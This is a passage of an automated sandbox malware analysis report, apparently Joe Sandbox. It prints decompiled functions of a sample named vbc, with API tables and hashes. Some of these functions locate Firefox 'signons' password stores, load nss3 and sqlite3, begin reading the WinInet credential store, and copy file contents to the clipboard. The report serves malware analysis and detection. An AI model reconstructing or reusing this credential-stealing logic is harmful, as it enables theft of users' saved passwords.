					E00402407( &_v940, _t76, _v8 + 0xfffff788);
				}
				return 1;
			}















                                                                                                              0x00404288
                                                                                                              0x00404293
                                                                                                              0x00404296
                                                                                                              0x0040429c
                                                                                                              0x0040429f
                                                                                                              0x004042d3
                                                                                                              0x004042ee
                                                                                                              0x004042fa
                                                                                                              0x00404304
                                                                                                              0x00404318
                                                                                                              0x00404328
                                                                                                              0x0040433b
                                                                                                              0x00404354
                                                                                                              0x0040437e
                                                                                                              0x00404383
                                                                                                              0x0040438f
                                                                                                              0x00404398
                                                                                                              0x0040439a
                                                                                                              0x0040439a
                                                                                                              0x004043ab
                                                                                                              0x004043ab
                                                                                                              0x004043b6

                                                                                                              APIs
                                                                                                              • wcsstr.MSVCRT ref: 004042BD
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000007F,00000000,00000000), ref: 00404304
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000007F,00000000,00000000), ref: 00404318
                                                                                                              • strcpy.MSVCRT(?,?), ref: 00404328
                                                                                                              • strcpy.MSVCRT(?,?,?,?), ref: 0040433B
                                                                                                              • strchr.MSVCRT ref: 00404349
                                                                                                              • strlen.MSVCRT ref: 0040435D
                                                                                                              • sprintf.MSVCRT ref: 0040437E
                                                                                                              • strchr.MSVCRT ref: 0040438F
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharMultiWidestrchrstrcpy$sprintfstrlenwcsstr
                                                                                                              • String ID: %s@gmail.com$www.google.com
                                                                                                              • API String ID: 1359934567-4070641962
                                                                                                              • Opcode ID: 8108c03dee5360a7f6a3e2f925f6b83e3505abd913d650f45db378c2ca998167
                                                                                                              • Instruction ID: 90bd0330eeb49ee3a27dc93359d6b9986b282e86ae315167fefd13048bcd18fc
                                                                                                              • Opcode Fuzzy Hash: 8108c03dee5360a7f6a3e2f925f6b83e3505abd913d650f45db378c2ca998167
                                                                                                              • Instruction Fuzzy Hash: 793188B290021D7FDB21D791DD81FDAB3ACDB44354F1005A7F709E2181D678AF858A58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040827A Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 69stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 96%
                                                                                                              			E0040827A(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, char* _a8) {
				void _v4103;
				char _v4104;
				int _t21;
				int _t28;
				void* _t35;

				_t35 = __eflags;
				E004118A0(0x1004, __ecx);
				strcpy(0x4171b8, _a8);
				strcpy(0x4172c0, "general");
				E00407E55(_t35, "TranslatorName", 0x412466);
				E00407E55(_t35, "TranslatorURL", 0x412466);
				EnumResourceNamesA(_a4, 4, E004080A3, 0);
				EnumResourceNamesA(_a4, 5, E004080A3, 0);
				strcpy(0x4172c0, "strings");
				_t28 = 0;
				_v4104 = 0;
				memset( &_v4103, 0, 0x1000);
				do {
					_t21 = LoadStringA(_a4, _t28,  &_v4104, 0x1000);
					if(_t21 > 0) {
						_t21 = E00407EC3(_t28,  &_v4104);
					}
					_t28 = _t28 + 1;
				} while (_t28 <= 0xffff);
				 *0x4171b8 = 0;
				return _t21;
			}








                                                                                                              0x0040827a
                                                                                                              0x00408282
                                                                                                              0x00408292
                                                                                                              0x004082a2
                                                                                                              0x004082b2
                                                                                                              0x004082bd
                                                                                                              0x004082d8
                                                                                                              0x004082e2
                                                                                                              0x004082ea
                                                                                                              0x004082f5
                                                                                                              0x004082ff
                                                                                                              0x00408306
                                                                                                              0x0040830e
                                                                                                              0x0040831a
                                                                                                              0x00408322
                                                                                                              0x0040832c
                                                                                                              0x00408332
                                                                                                              0x00408333
                                                                                                              0x00408334
                                                                                                              0x0040833e
                                                                                                              0x00408347

                                                                                                              APIs
                                                                                                              • strcpy.MSVCRT(004171B8,00000000,00000000,00000000,?,?,004083AB,00000000,?,00000000,00000104,?), ref: 00408292
                                                                                                              • strcpy.MSVCRT(004172C0,general,004171B8,00000000,00000000,00000000,?,?,004083AB,00000000,?,00000000,00000104,?), ref: 004082A2
                                                                                                                • Part of subcall function 00407E55: memset.MSVCRT ref: 00407E7A
                                                                                                                • Part of subcall function 00407E55: GetPrivateProfileStringA.KERNEL32(004172C0,00000104,00412466,?,00001000,004171B8), ref: 00407E9E
                                                                                                                • Part of subcall function 00407E55: WritePrivateProfileStringA.KERNEL32(004172C0,?,?,004171B8), ref: 00407EB5
                                                                                                              • EnumResourceNamesA.KERNEL32 ref: 004082D8
                                                                                                              • EnumResourceNamesA.KERNEL32 ref: 004082E2
                                                                                                              • strcpy.MSVCRT(004172C0,strings,?,004083AB,00000000,?,00000000,00000104,?), ref: 004082EA
                                                                                                              • memset.MSVCRT ref: 00408306
                                                                                                              • LoadStringA.USER32 ref: 0040831A
                                                                                                                • Part of subcall function 00407EC3: _itoa.MSVCRT ref: 00407EE4
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Stringstrcpy$EnumNamesPrivateProfileResourcememset$LoadWrite_itoa
                                                                                                              • String ID: TranslatorName$TranslatorURL$general$strings
                                                                                                              • API String ID: 1060401815-3647959541
                                                                                                              • Opcode ID: acaf4a6ca7367b184f6fdf17ade1074e09c73fb74d797c334c49b365d943b025
                                                                                                              • Instruction ID: d5eae57ffc3fdd8f11c9b4c351fac369e1a37aafa95eb04bb89d09d1e585c4c7
                                                                                                              • Opcode Fuzzy Hash: acaf4a6ca7367b184f6fdf17ade1074e09c73fb74d797c334c49b365d943b025
                                                                                                              • Instruction Fuzzy Hash: 6E1104319802543AD7212B56DC06FCB3E6DCF85B59F1040BBB708B6191C9BC9EC087AD
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D1EC Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 128stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 83%
                                                                                                              			E0040D1EC(intOrPtr* __eax, void* __eflags, intOrPtr _a4) {
				void _v267;
				char _v268;
				void* __edi;
				void* __esi;
				void* _t31;
				int _t40;
				void* _t44;
				void* _t49;
				char* _t50;
				void* _t57;
				int _t62;
				char* _t68;
				void* _t70;
				void* _t73;
				void* _t74;
				intOrPtr* _t86;
				char* _t89;
				void* _t90;
				char** _t91;

				_t86 = __eax;
				_t31 = E00406C2F(__eax + 0x1c, __eax, __eflags, _a4);
				_t94 = _t31;
				if(_t31 == 0) {
					__eflags = 0;
					return 0;
				}
				E0040462E(_t86 + 0x468);
				_t68 = _t86 + 0x158;
				E004061FF(_t68, _a4);
				_t89 = _t86 + 0x25d;
				 *_t89 = 0;
				E0040C530(_t94, _t86 + 0x18);
				if( *_t89 == 0) {
					_t62 = strlen(_t68);
					 *_t91 = "signons.txt";
					_t9 = strlen(??) + 1; // 0x1
					if(_t62 + _t9 >= 0x104) {
						 *_t89 = 0;
					} else {
						E004062AD(_t89, _t86 + 0x158, "signons.txt");
					}
				}
				_v268 = 0;
				memset( &_v267, 0, 0x104);
				_t40 = strlen(_t86 + 0x158);
				_t91[3] = "signons.sqlite";
				_t15 = strlen(??) + 1; // 0x1
				_pop(_t73);
				if(_t40 + _t15 >= 0x104) {
					_v268 = 0;
				} else {
					E004062AD( &_v268, _t86 + 0x158, "signons.sqlite");
					_pop(_t73);
				}
				_t98 =  *_t89;
				if( *_t89 != 0) {
					_t57 = E00406C2F(_t86 + 4, _t86, _t98, _t89);
					_t99 = _t57;
					if(_t57 != 0) {
						E0040C475(_t73, _t86, _t99);
					}
				}
				_t44 = E0040614B( &_v268);
				_t100 = _t44;
				_pop(_t74);
				if(_t44 != 0) {
					E0040CE28(_t74, _t100, _t86,  &_v268);
				}
				_t70 = 0;
				if( *((intOrPtr*)(_t86 + 0x474)) <= 0) {
					L19:
					return 1;
				} else {
					do {
						_t90 = E0040D438(_t70, _t86 + 0x468);
						_t24 = _t90 + 0x504; // 0x504
						_t49 = _t24;
						_push("none");
						_push(_t49);
						L004115B2();
						if(_t49 != 0) {
							_t25 = _t90 + 4; // 0x4
							_t50 = _t25;
							if( *_t50 == 0) {
								_t26 = _t90 + 0x204; // 0x204
								strcpy(_t50, _t26);
							}
							 *((intOrPtr*)( *_t86 + 4))(_t90);
						}
						_t70 = _t70 + 1;
					} while (_t70 <  *((intOrPtr*)(_t86 + 0x474)));
					goto L19;
				}
			}






















                                                                                                              0x0040d1fb
                                                                                                              0x0040d200
                                                                                                              0x0040d205
                                                                                                              0x0040d207
                                                                                                              0x0040d371
                                                                                                              0x00000000
                                                                                                              0x0040d371
                                                                                                              0x0040d213
                                                                                                              0x0040d21b
                                                                                                              0x0040d223
                                                                                                              0x0040d22c
                                                                                                              0x0040d233
                                                                                                              0x0040d236
                                                                                                              0x0040d23e
                                                                                                              0x0040d241
                                                                                                              0x0040d248
                                                                                                              0x0040d254
                                                                                                              0x0040d25e
                                                                                                              0x0040d277
                                                                                                              0x0040d260
                                                                                                              0x0040d26e
                                                                                                              0x0040d274
                                                                                                              0x0040d25e
                                                                                                              0x0040d288
                                                                                                              0x0040d28f
                                                                                                              0x0040d29e
                                                                                                              0x0040d2a5
                                                                                                              0x0040d2b1
                                                                                                              0x0040d2ba
                                                                                                              0x0040d2bb
                                                                                                              0x0040d2d8
                                                                                                              0x0040d2bd
                                                                                                              0x0040d2cf
                                                                                                              0x0040d2d5
                                                                                                              0x0040d2d5
                                                                                                              0x0040d2df
                                                                                                              0x0040d2e2
                                                                                                              0x0040d2e8
                                                                                                              0x0040d2ed
                                                                                                              0x0040d2ef
                                                                                                              0x0040d2f1
                                                                                                              0x0040d2f1
                                                                                                              0x0040d2ef
                                                                                                              0x0040d2fd
                                                                                                              0x0040d302
                                                                                                              0x0040d304
                                                                                                              0x0040d305
                                                                                                              0x0040d30f
                                                                                                              0x0040d30f
                                                                                                              0x0040d314
                                                                                                              0x0040d31c
                                                                                                              0x0040d36c
                                                                                                              0x00000000
                                                                                                              0x0040d31e
                                                                                                              0x0040d31e
                                                                                                              0x0040d32b
                                                                                                              0x0040d32d
                                                                                                              0x0040d32d
                                                                                                              0x0040d333
                                                                                                              0x0040d338
                                                                                                              0x0040d339
                                                                                                              0x0040d342
                                                                                                              0x0040d344
                                                                                                              0x0040d344
                                                                                                              0x0040d34a
                                                                                                              0x0040d34c
                                                                                                              0x0040d354
                                                                                                              0x0040d35a
                                                                                                              0x0040d360
                                                                                                              0x0040d360
                                                                                                              0x0040d363
                                                                                                              0x0040d364
                                                                                                              0x00000000
                                                                                                              0x0040d31e

                                                                                                              APIs
                                                                                                                • Part of subcall function 00406C2F: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040D205,?,?,?,?), ref: 00406C48
                                                                                                                • Part of subcall function 00406C2F: CloseHandle.KERNEL32(00000000), ref: 00406C74
                                                                                                                • Part of subcall function 0040462E: free.MSVCRT(00000000,0040BC35), ref: 00404635
                                                                                                                • Part of subcall function 004061FF: strcpy.MSVCRT(?,?,0040D228,?,?,?,?,?), ref: 00406204
                                                                                                                • Part of subcall function 004061FF: strrchr.MSVCRT ref: 0040620C
                                                                                                                • Part of subcall function 0040C530: memset.MSVCRT ref: 0040C551
                                                                                                                • Part of subcall function 0040C530: memset.MSVCRT ref: 0040C565
                                                                                                                • Part of subcall function 0040C530: memset.MSVCRT ref: 0040C579
                                                                                                                • Part of subcall function 0040C530: memcpy.MSVCRT ref: 0040C646
                                                                                                                • Part of subcall function 0040C530: memcpy.MSVCRT ref: 0040C6A6
                                                                                                              • strlen.MSVCRT ref: 0040D241
                                                                                                              • strlen.MSVCRT ref: 0040D24F
                                                                                                                • Part of subcall function 004062AD: strcpy.MSVCRT(00000000,00000000,sqlite3.dll,00402138,00000000,nss3.dll), ref: 004062B5
                                                                                                                • Part of subcall function 004062AD: strcat.MSVCRT(00000000,00000000,00000000,00000000,sqlite3.dll,00402138,00000000,nss3.dll), ref: 004062C4
                                                                                                              • memset.MSVCRT ref: 0040D28F
                                                                                                              • strlen.MSVCRT ref: 0040D29E
                                                                                                              • strlen.MSVCRT ref: 0040D2AC
                                                                                                              • _stricmp.MSVCRT(00000504,none,?,?,?), ref: 0040D339
                                                                                                              • strcpy.MSVCRT(00000004,00000204,?,?,?), ref: 0040D354
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetstrlen$strcpy$memcpy$CloseFileHandleSize_stricmpfreestrcatstrrchr
                                                                                                              • String ID: none$signons.sqlite$signons.txt
                                                                                                              • API String ID: 2681923396-1088577317
                                                                                                              • Opcode ID: 320e3f5b2275387b9dd69f73878994cc1174bc0b0e146de94454896ca0fe85a1
                                                                                                              • Instruction ID: 747294efef189d2a86bae337d02489a359e47e35f4212505bb9232dde5c11721
                                                                                                              • Opcode Fuzzy Hash: 320e3f5b2275387b9dd69f73878994cc1174bc0b0e146de94454896ca0fe85a1
                                                                                                              • Instruction Fuzzy Hash: 3041E3B1508246AAD710EBB1CC81BDAB798AF40305F10057FE596E21C2EB7CE9C9876D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B53C Relevance: 16.6, APIs: 11, Instructions: 133windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 93%
                                                                                                              			E0040B53C(void* __ecx, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				void* _v8;
				intOrPtr _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __esi;
				signed int _t45;
				intOrPtr _t50;
				signed int _t53;
				intOrPtr _t82;
				signed char _t86;
				intOrPtr _t88;
				intOrPtr _t90;
				void* _t91;
				void* _t92;

				_t84 = __ecx;
				_t88 = _a4;
				_t92 = _t88 - 0x402;
				_t91 = __ecx;
				if(_t92 > 0) {
					_t45 = _t88 - 0x415;
					__eflags = _t45;
					if(_t45 == 0) {
						E0040A4C8(__ecx);
						L22:
						__eflags = 0;
						E0040A27F(0, _t84, _t91, 0);
						L23:
						if(_t88 ==  *((intOrPtr*)(_t91 + 0x374))) {
							_t81 = _a12;
							_t86 =  *(_a12 + 0xc);
							_t50 =  *((intOrPtr*)(_t91 + 0x370));
							if((_t86 & 0x00000008) == 0) {
								__eflags = _t86 & 0x00000040;
								if((_t86 & 0x00000040) != 0) {
									 *0x4171ac =  *0x4171ac & 0x00000000;
									__eflags =  *0x4171ac;
									SetFocus( *(_t50 + 0x184));
								}
							} else {
								E00409D7E(_t50, _t81);
							}
						}
						return E004019AC(_t91, _t88, _a8, _a12);
					}
					_t53 = _t45 - 1;
					__eflags = _t53;
					if(_t53 == 0) {
						E0040A56C(__ecx);
						goto L22;
					}
					__eflags = _t53 == 6;
					if(_t53 == 6) {
						SetFocus( *(__ecx + 0x378));
					}
					goto L23;
				}
				if(_t92 == 0) {
					 *(__ecx + 0x25c) =  *(__ecx + 0x25c) & 0x00000000;
					E0040A437(__ecx);
					goto L22;
				}
				if(_t88 == 0x1c) {
					__eflags = _a8;
					if(_a8 == 0) {
						 *((intOrPtr*)(_t91 + 0x378)) = GetFocus();
					} else {
						PostMessageA( *(__ecx + 0x108), 0x41c, 0, 0);
					}
					goto L23;
				}
				if(_t88 == 0x20) {
					__eflags = _a8 -  *((intOrPtr*)(__ecx + 0x114));
					if(_a8 !=  *((intOrPtr*)(__ecx + 0x114))) {
						goto L23;
					}
					SetCursor(LoadCursorA( *0x416b94, 0x67));
					return 1;
				}
				if(_t88 == 0x2b) {
					_t82 = _a12;
					__eflags =  *((intOrPtr*)(_t82 + 0x14)) -  *((intOrPtr*)(__ecx + 0x114));
					if( *((intOrPtr*)(_t82 + 0x14)) ==  *((intOrPtr*)(__ecx + 0x114))) {
						SetBkMode( *(_t82 + 0x18), 1);
						SetTextColor( *(_t82 + 0x18), 0xff0000);
						_v8 = SelectObject( *(_t82 + 0x18),  *(__ecx + 0x258));
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						_t90 = _a12;
						_v28 = 0x14;
						_v20 = 5;
						DrawTextExA( *(_t90 + 0x18), __ecx + 0x158, 0xffffffff, _t90 + 0x1c, 4,  &_v28);
						SelectObject( *(_t90 + 0x18), _v8);
						_t88 = _a4;
					}
				} else {
					if(_t88 == 0x7b) {
						_t87 = _a8;
						if(_a8 ==  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x370)) + 0x184))) {
							E0040B372(__ecx, _t87);
						}
					}
				}
				goto L23;
			}


















                                                                                                              0x0040b53c
                                                                                                              0x0040b545
                                                                                                              0x0040b54d
                                                                                                              0x0040b54f
                                                                                                              0x0040b551
                                                                                                              0x0040b689
                                                                                                              0x0040b689
                                                                                                              0x0040b68e
                                                                                                              0x0040b6b1
                                                                                                              0x0040b6b6
                                                                                                              0x0040b6b6
                                                                                                              0x0040b6b8
                                                                                                              0x0040b6bd
                                                                                                              0x0040b6c3
                                                                                                              0x0040b6c5
                                                                                                              0x0040b6c8
                                                                                                              0x0040b6ce
                                                                                                              0x0040b6d4
                                                                                                              0x0040b6dd
                                                                                                              0x0040b6e0
                                                                                                              0x0040b6e8
                                                                                                              0x0040b6e8
                                                                                                              0x0040b6ef
                                                                                                              0x0040b6ef
                                                                                                              0x0040b6d6
                                                                                                              0x0040b6d6
                                                                                                              0x0040b6d6
                                                                                                              0x0040b6d4
                                                                                                              0x00000000
                                                                                                              0x0040b6fe
                                                                                                              0x0040b690
                                                                                                              0x0040b690
                                                                                                              0x0040b691
                                                                                                              0x0040b6a8
                                                                                                              0x00000000
                                                                                                              0x0040b6a8
                                                                                                              0x0040b693
                                                                                                              0x0040b696
                                                                                                              0x0040b69e
                                                                                                              0x0040b69e
                                                                                                              0x00000000
                                                                                                              0x0040b696
                                                                                                              0x0040b557
                                                                                                              0x0040b679
                                                                                                              0x0040b680
                                                                                                              0x00000000
                                                                                                              0x0040b680
                                                                                                              0x0040b560
                                                                                                              0x0040b651
                                                                                                              0x0040b654
                                                                                                              0x0040b671
                                                                                                              0x0040b656
                                                                                                              0x0040b663
                                                                                                              0x0040b663
                                                                                                              0x00000000
                                                                                                              0x0040b654
                                                                                                              0x0040b569
                                                                                                              0x0040b626
                                                                                                              0x0040b62c
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040b641
                                                                                                              0x00000000
                                                                                                              0x0040b649
                                                                                                              0x0040b572
                                                                                                              0x0040b59e
                                                                                                              0x0040b5a4
                                                                                                              0x0040b5aa
                                                                                                              0x0040b5b5
                                                                                                              0x0040b5c3
                                                                                                              0x0040b5da
                                                                                                              0x0040b5e2
                                                                                                              0x0040b5e3
                                                                                                              0x0040b5e4
                                                                                                              0x0040b5e5
                                                                                                              0x0040b5e6
                                                                                                              0x0040b5ff
                                                                                                              0x0040b606
                                                                                                              0x0040b60d
                                                                                                              0x0040b619
                                                                                                              0x0040b61b
                                                                                                              0x0040b61b
                                                                                                              0x0040b574
                                                                                                              0x0040b577
                                                                                                              0x0040b583
                                                                                                              0x0040b58c
                                                                                                              0x0040b594
                                                                                                              0x0040b594
                                                                                                              0x0040b58c
                                                                                                              0x0040b577
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • SetBkMode.GDI32(?,00000001), ref: 0040B5B5
                                                                                                              • SetTextColor.GDI32(?,00FF0000), ref: 0040B5C3
                                                                                                              • SelectObject.GDI32(?,?), ref: 0040B5D8
                                                                                                              • DrawTextExA.USER32(?,?,000000FF,?,00000004,?), ref: 0040B60D
                                                                                                              • SelectObject.GDI32(00000014,?), ref: 0040B619
                                                                                                                • Part of subcall function 0040B372: GetCursorPos.USER32(?), ref: 0040B37F
                                                                                                                • Part of subcall function 0040B372: GetSubMenu.USER32 ref: 0040B38D
                                                                                                                • Part of subcall function 0040B372: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0040B3BA
                                                                                                              • LoadCursorA.USER32 ref: 0040B63A
                                                                                                              • SetCursor.USER32(00000000), ref: 0040B641
                                                                                                              • PostMessageA.USER32(?,0000041C,00000000,00000000), ref: 0040B663
                                                                                                              • SetFocus.USER32 ref: 0040B69E
                                                                                                              • SetFocus.USER32 ref: 0040B6EF
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Cursor$FocusMenuObjectSelectText$ColorDrawLoadMessageModePopupPostTrack
                                                                                                              • String ID:
                                                                                                              • API String ID: 1416211542-0
                                                                                                              • Opcode ID: ada7ac9db0802c40b78b434d5b067a752f7538f931aaa86afb59dd9be5820f54
                                                                                                              • Instruction ID: 8f05fcf81e8b57b2917fe7890bba9475612e1218cdf4c3fdd04c744704700eb5
                                                                                                              • Opcode Fuzzy Hash: ada7ac9db0802c40b78b434d5b067a752f7538f931aaa86afb59dd9be5820f54
                                                                                                              • Instruction Fuzzy Hash: E741A271100605EFCB119F64CD89EEE7775FB08300F104936E615A62A1CB799D91DBDE
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405FC6 Relevance: 16.6, APIs: 11, Instructions: 58clipboardmemoryfileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00405FC6(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				long _v8;
				void* _v12;
				long _v16;
				void* _t14;
				void* _t29;
				void* _t34;
				long _t36;

				_v8 = _v8 & 0x00000000;
				EmptyClipboard();
				_t14 = E00405ECB(_a4);
				_v12 = _t14;
				if(_t14 == 0xffffffff) {
					_v8 = GetLastError();
				} else {
					_t36 = GetFileSize(_t14, 0);
					_t5 = _t36 + 1; // 0x1
					_t29 = GlobalAlloc(0x2000, _t5);
					if(_t29 == 0) {
						L4:
						_v8 = GetLastError();
					} else {
						_t34 = GlobalLock(_t29);
						if(ReadFile(_v12, _t34, _t36,  &_v16, 0) == 0) {
							goto L4;
						} else {
							 *((char*)(_t34 + _t36)) = 0;
							GlobalUnlock(_t29);
							SetClipboardData(1, _t29);
						}
					}
					CloseHandle(_v12);
				}
				CloseClipboard();
				return _v8;
			}










                                                                                                              0x00405fcc
                                                                                                              0x00405fd0
                                                                                                              0x00405fd9
                                                                                                              0x00405fe2
                                                                                                              0x00405fe5
                                                                                                              0x0040605b
                                                                                                              0x00405fe7
                                                                                                              0x00405ff3
                                                                                                              0x00405ff5
                                                                                                              0x00406004
                                                                                                              0x00406008
                                                                                                              0x0040603e
                                                                                                              0x00406044
                                                                                                              0x0040600a
                                                                                                              0x00406013
                                                                                                              0x00406026
                                                                                                              0x00000000
                                                                                                              0x00406028
                                                                                                              0x00406029
                                                                                                              0x0040602d
                                                                                                              0x00406036
                                                                                                              0x00406036
                                                                                                              0x00406026
                                                                                                              0x0040604a
                                                                                                              0x00406052
                                                                                                              0x0040605e
                                                                                                              0x00406068

                                                                                                              APIs
                                                                                                              • EmptyClipboard.USER32 ref: 00405FD0
                                                                                                                • Part of subcall function 00405ECB: CreateFileA.KERNELBASE(00410C96,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00405EDD
                                                                                                              • GetFileSize.KERNEL32(00000000,00000000), ref: 00405FED
                                                                                                              • GlobalAlloc.KERNEL32(00002000,00000001), ref: 00405FFE
                                                                                                              • GlobalLock.KERNEL32 ref: 0040600B
                                                                                                              • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0040601E
                                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 0040602D
                                                                                                              • SetClipboardData.USER32 ref: 00406036
                                                                                                              • GetLastError.KERNEL32 ref: 0040603E
                                                                                                              • CloseHandle.KERNEL32(?), ref: 0040604A
                                                                                                              • GetLastError.KERNEL32 ref: 00406055
                                                                                                              • CloseClipboard.USER32 ref: 0040605E
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleLockReadSizeUnlock
                                                                                                              • String ID:
                                                                                                              • API String ID: 3604893535-0
                                                                                                              • Opcode ID: 5804eb7593f705abb245538e10f585bb03ca14e3a9190401cfadc2aaba18f8ee
                                                                                                              • Instruction ID: 732aa9399b2cd23c9d945101f46e029b0eae2bee8c87a14991e63b5ea8a72c25
                                                                                                              • Opcode Fuzzy Hash: 5804eb7593f705abb245538e10f585bb03ca14e3a9190401cfadc2aaba18f8ee
                                                                                                              • Instruction Fuzzy Hash: 6A113371900205FBDB109BB4DE4DBDE7F78EB08351F118176F606E1190DBB48A20DB69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EDDB Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 50stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • strcpy.MSVCRT(?,Common Programs,0040EEF9,?,?,?,?,?,00000104), ref: 0040EE4E
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy
                                                                                                              • String ID: AppData$Common Desktop$Common Programs$Common Start Menu$Common Startup$Desktop$Favorites$Programs$Start Menu$Startup
                                                                                                              • API String ID: 3177657795-318151290
                                                                                                              • Opcode ID: 69181002a60778507a3d541a40da82393cbcfb54362146d699c3396572d884a2
                                                                                                              • Instruction ID: 838bbb5fcb7671a25bd4d31fd75230584a1d4f3c41bb848f6a939ae912ddcdf8
                                                                                                              • Opcode Fuzzy Hash: 69181002a60778507a3d541a40da82393cbcfb54362146d699c3396572d884a2
                                                                                                              • Instruction Fuzzy Hash: 66F0BDB32A878EF0D429496BCD4AEB744429151B46B7C4D37A002B46D5E87D8AF260DF
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040765B Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 152COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 74%
                                                                                                              			E0040765B(void* __eflags, intOrPtr* _a4) {
				char _v532;
				short _v534;
				void _v1042;
				void _v1044;
				long _v1080;
				intOrPtr _v1084;
				intOrPtr _v1088;
				intOrPtr _v1096;
				int _v1104;
				char _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				intOrPtr _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				long* _v1136;
				wchar_t* _v1140;
				wchar_t* _v1144;
				intOrPtr _v1148;
				char _v1152;
				intOrPtr _v1156;
				char _v1160;
				void* _v1164;
				void* _v1168;
				int _v1172;
				intOrPtr _v1176;
				char _v1180;
				char _v1184;
				signed int _v1188;
				void* __edi;
				void* __esi;
				void* _t76;
				int _t83;
				wchar_t* _t109;
				wchar_t* _t110;
				signed int _t120;
				int _t126;
				void* _t129;
				intOrPtr _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;

				_t142 = (_t140 & 0xfffffff8) - 0x4a4;
				_push(_t129);
				_v1108 = 0;
				_v1104 = 0;
				if(E00404647( &_v1108, _t129, __eflags) != 0) {
					_v1184 = 0;
					_v1180 = 0;
					if(_v1088 == 0) {
						_t76 = 0;
						__eflags = 0;
					} else {
						_t76 = _v1084(0, 0,  &_v1180,  &_v1184);
					}
					if(_t76 != 0) {
						_t120 = 9;
						memcpy( &_v1080, L"Microsoft_WinInet", _t120 << 2);
						_t143 = _t142 + 0xc;
